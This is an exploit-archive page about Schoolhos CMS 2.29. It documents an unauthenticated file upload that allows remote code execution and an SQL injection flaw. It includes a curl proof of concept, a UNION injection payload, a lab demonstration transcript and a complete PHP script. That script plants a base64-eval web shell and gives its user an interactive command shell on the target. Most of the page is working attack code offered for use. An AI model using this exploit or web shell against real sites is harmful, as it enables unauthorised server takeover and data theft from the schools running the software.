Schoolhos CMS 2.29 Multiple vulnerabilities / RCE exploit
Posted on 30 November -0001
<HTML><HEAD><TITLE>Schoolhos CMS 2.29 Multiple vulnerabilities / RCE exploit</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY><?php /* Software : Schoolhos CMS 2.29 Home : http://www.schoolhos.com/ Author : Ahmed sultan (0x4148) Email : 0x4148@gmail.com Home : 0x4148.com Intro Schoolhos CMS is alternative to developing School Website. It's Free and Open Source under GPL License. Easy to install, user friendly and elegant design. Schoolhos is vulnerable to unauthenticated remote code execution vulnerability , Unauthenticated sql injection flaws I - Remote code execution File : process.php Line : 42 elseif ($pilih=='guru' AND $untukdi=='upload'){ $lokasi_file = $_FILES['fupload']['tmp_name']; $nama_file = $_FILES['fupload']['name']; UploadMateri($nama_file); File : file_uplaod.php Line : 9 function UploadMateri($fupload_name){ //direktori file dari halaman e-elarning $vdir_upload = "../file/materi/"; $vfile_upload = $vdir_upload . $fupload_name; move_uploaded_file($_FILES["fupload"]["tmp_name"], $vfile_upload); } POC curl -i -s -k -X 'POST' -H 'Content-Type: multipart/form-data; boundary=---------------------------26518470919255' --data-binary $'-----------------------------26518470919255x0dx0aContent-Disposition: form-data; name="fupload"; filename="0x4148.php"x0dx0aContent-Type: application/x-httpd-phpx0dx0ax0dx0a<?php die("0x4148 rule"); ?>x0dx0a-----------------------------26518470919255x0dx0ax0dx0a' 'http://HOST/PATH/elearningku/proses.php?pilih=guru&untukdi=upload' php file can be ccessed via : http://HOST/PATH/file/materi/0x4148.php II - Unauthenticated sql injection File : elearningku/download.php Line 6 $file=mysql_query("SELECT * FROM sh_materi WHERE id_materi='$_GET[id]'"); $r=mysql_fetch_array($file); $filename=$r[file_materi]; header("Content-Type: octet/stream"); header("Pragma: private"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: private",false); header("Content-Type: $ctype"); header("Content-Disposition: attachment; filename="".basename($filename)."";" ); header("Content-Transfer-Encoding: binary"); header("Content-Length: ".filesize($dir.$filename)); readfile("$dir$filename"); POC : versi_2.29/elearningku/download.php?id=-1' union select 1,version(),3,4,5,6,7,8-- - DB version will be showed as filename Script is really full of injection flaws , mentioning all of it is such waste of time Full exploitation Demo ~0x4148fo# php scho.php http://192.168.0.50/lab/scho/versi_2.29/ [*] Schoolhos CMS 2.29 Remote command execution [*] Author : Ahmed sultan (0x4148) [*] Connect : 0x4148.com | 0x4148@gmail.com + Sending payload to http://192.168.0.50/lab/scho/versi_2.29/ + Payload sent successfully 0x4148@http://192.168.0.50/lab/scho/versi_2.29/# dir Volume in drive C is OS_Install Volume Serial Number is D60F-0795 Directory of C:xampphtdocslabschoversi_2.29filemateri 11/13/2016 02:03 AM <DIR> . 11/13/2016 02:03 AM <DIR> .. 11/13/2016 02:03 AM 47 0x4148.php 11/30/2011 06:56 PM 8,522 aku.php 11/29/2011 02:02 AM 74 Alar Reproduksi.rar 11/29/2011 02:03 AM 74 albert.rar 11/29/2011 08:25 PM 12,326 ari.png 11/29/2011 08:27 PM 12,318 ari.rar 11/29/2011 06:57 PM 74 cerita.rar 11/29/2011 08:24 PM 0 contoh.txt 11/29/2011 02:05 AM 74 dos.rar 11/29/2011 02:01 AM 74 English1.rar 12/12/2011 11:13 AM 117 index.html 11/29/2011 02:10 AM 74 kekebalantubuh.rar 11/29/2011 02:11 AM 74 masa jenis.rar 11/29/2011 02:14 AM 74 office.rar 11/29/2011 02:06 AM 74 paragraf.rar 11/29/2011 02:04 AM 74 pemanasan.rar 11/29/2011 02:00 AM 74 polakalimat.rar 11/29/2011 02:15 AM 74 prepare.rar 11/29/2011 02:13 AM 74 proklamator.rar 11/29/2011 02:12 AM 74 sea games.rar 11/29/2011 02:05 AM 74 soekarno.rar 11/29/2011 02:09 AM 74 speaking.rar 11/29/2011 02:15 AM 74 ulangan INDO.rar 11/29/2011 02:11 AM 74 volume.rar 24 File(s) 34,662 bytes 2 Dir(s) 38,197,485,568 bytes free 0x4148@http://192.168.0.50/lab/scho/versi_2.29/# exit ~0x4148fo# */ $host=$argv[1]; $target="$host/elearningku/proses.php?pilih=guru&untukdi=upload"; echo "[*] Schoolhos CMS 2.29 Remote command execution "; echo "[*] Author : Ahmed sultan (0x4148) "; echo "[*] Connect : 0x4148.com | 0x4148@gmail.com "; echo " + Sending payload to $host "; fwrite(fopen("0x4148.php","w+"),'<?php eval(base64_decode($_POST["0x4148"])); ?>'); $x4148upload = curl_init(); curl_setopt($x4148upload, CURLOPT_URL, $target); curl_setopt($x4148upload, CURLOPT_USERAGENT, "mozilla"); curl_setopt($x4148upload, CURLOPT_POST, 1); curl_setopt($x4148upload, CURLOPT_RETURNTRANSFER, true); curl_setopt($x4148upload, CURLOPT_POSTFIELDS,array("fupload"=>"@".realpath("0x4148.php"))); curl_setopt($x4148upload, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($x4148upload, CURLOPT_SSL_VERIFYHOST, 0); $result = curl_exec($x4148upload); curl_close($x4148upload); $x4148request=curl_init(); curl_setopt($x4148request,CURLOPT_RETURNTRANSFER,1); curl_setopt($x4148request,CURLOPT_URL,$host."/file/materi/0x4148.php"); curl_setopt($x4148request, CURLOPT_POSTFIELDS,"0x4148=".base64_encode("echo '0x4148fo';")); curl_setopt($x4148request, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($x4148request, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($x4148request,CURLOPT_FOLLOWLOCATION,0); curl_setopt($x4148request,CURLOPT_TIMEOUT,20); curl_setopt($x4148request, CURLOPT_HEADER, true); $outp=curl_exec($x4148request); curl_close($x4148request); if(!preg_match("#0x4148fo#",$outp)){ echo " - Failed :( "; die(); } echo " + Payload sent successfully "; while(0<1){ echo "0x4148@$host# "; $command=trim(fgets(STDIN)); if($command=='exit'){ die(); } $x4148request=curl_init(); curl_setopt($x4148request,CURLOPT_RETURNTRANSFER,1); curl_setopt($x4148request,CURLOPT_URL,$host."/file/materi/0x4148.php"); curl_setopt($x4148request, CURLOPT_POSTFIELDS,"0x4148=".urlencode(base64_encode("echo '>>>>>';system('$command');echo '>>>>>';"))); curl_setopt($x4148request, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($x4148request, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($x4148request,CURLOPT_FOLLOWLOCATION,0); curl_setopt($x4148request,CURLOPT_TIMEOUT,20); curl_setopt($x4148request, CURLOPT_HEADER, true); $outp=curl_exec($x4148request); curl_close($x4148request); echo explode(">>>>>",$outp)[1]." "; } ?> </BODY></HTML>
